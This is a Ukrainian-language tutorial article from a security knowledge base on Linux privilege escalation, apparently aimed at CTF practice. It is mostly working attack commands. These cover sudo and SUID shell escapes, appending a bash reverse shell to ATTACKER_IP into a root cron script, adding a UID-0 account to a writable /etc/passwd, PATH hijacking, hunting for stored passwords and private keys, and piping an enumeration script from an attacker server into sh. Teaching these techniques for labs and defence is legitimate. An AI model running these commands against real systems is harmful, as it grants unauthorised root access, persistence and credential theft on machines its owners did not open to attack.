KB / Статті / Linux Privilege Escalation: базові техніки
UA EN

Linux Privilege Escalation: базові техніки

✍ admin 📅 12.06.2026 👁 114 переглядів

Що таке Privilege Escalation?

Після отримання початкового доступу до системи (зазвичай як звичайний користувач) мета — стати root. Цей процес називається privilege escalation (privesc).

Перша розвідка

# Хто ми?
id
whoami

# Яка ОС та версія ядра?
uname -a
cat /etc/os-release

# Що можемо запустити від sudo?
sudo -l

# Інші користувачі
cat /etc/passwd | grep -v nologin

# Де ми?
pwd
ls -la

1. Sudo без пароля

sudo -l

Якщо бачимо щось на кшталт:

(ALL) NOPASSWD: /usr/bin/vim

Запускаємо vim і з нього отримуємо shell:

sudo vim -c ':!/bin/bash'

GTFOBins — сайт з техніками для сотень бінарників:

https://gtfobins.github.io/

Просто знайдіть бінарник у списку і скопіюйте команду.

2. SUID біти

SUID (Set User ID) — файл виконується з привілеями власника, а не того хто запускає.

# Знайти всі SUID файли
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null

Класичний приклад — /bin/bash з SUID:

# Якщо bash має SUID root
/bin/bash -p

find з SUID:

find . -exec /bin/bash -p \; -quit

nmap (старі версії):

nmap --interactive
nmap> !sh

Перевіряйте всі знайдені SUID файли на GTFOBins.

3. Cron jobs

Cron завдання що запускаються від root — золота жила для privesc.

# Системний crontab
cat /etc/crontab

# Директорії cron
ls -la /etc/cron*

# Логи cron (можуть показати що запускається)
cat /var/log/cron.log 2>/dev/null
grep "CRON" /var/log/syslog 2>/dev/null

Сценарій атаки: скрипт запускається від root кожну хвилину, але файл скрипту доступний на запис нам.

# Перевіряємо права файлу
ls -la /opt/cleanup.sh

# Якщо є запис — додаємо reverse shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/cleanup.sh

# Чекаємо на своєму listener
nc -lvnp 4444

4. Writable /etc/passwd

ls -la /etc/passwd

Якщо файл доступний на запис — можна додати нового root-користувача:

# Генеруємо хеш пароля "hacked"
openssl passwd -1 -salt salt hacked
# $1$salt$...

# Додаємо рядок з root UID=0
echo 'hacker:$1$salt$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd

# Входимо
su hacker

5. PATH Hijacking

Якщо SUID програма викликає інші команди без повного шляху:

# Знаходимо що викликає програма
strings /usr/local/bin/suid_program

# Якщо викликає "service" без /usr/sbin/service
# Створюємо свій "service" в /tmp
echo '#!/bin/bash' > /tmp/service
echo 'bash -p' >> /tmp/service
chmod +x /tmp/service

# Змінюємо PATH
export PATH=/tmp:$PATH

# Запускаємо вразливу програму
/usr/local/bin/suid_program

6. Слабкі паролі та повторне використання

# Пошук паролів у файлах
grep -r "password" /var/www/ 2>/dev/null
grep -r "passwd" /etc/ 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null

# Файли з приватними ключами
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null

Автоматизація: LinPEAS

# Завантажити та запустити
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Або передати через сервер
# На атакуючій машині:
python3 -m http.server 8080

# На цільовій:
curl http://ATTACKER:8080/linpeas.sh | sh

LinPEAS підсвічує критичні знахідки червоним/жовтим — концентруйтеся на них.

Чекліст для CTF

  • [ ] sudo -l — що можна запустити?
  • [ ] find / -perm -4000 2>/dev/null — SUID файли
  • [ ] cat /etc/crontab + /etc/cron* — cron задачі
  • [ ] Паролі у конфіг-файлах та history
  • [ ] Writable файли що запускаються від root
  • [ ] Версія ядра → шукати public exploits
  • [ ] LinPEAS для автоматичного аналізу
Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?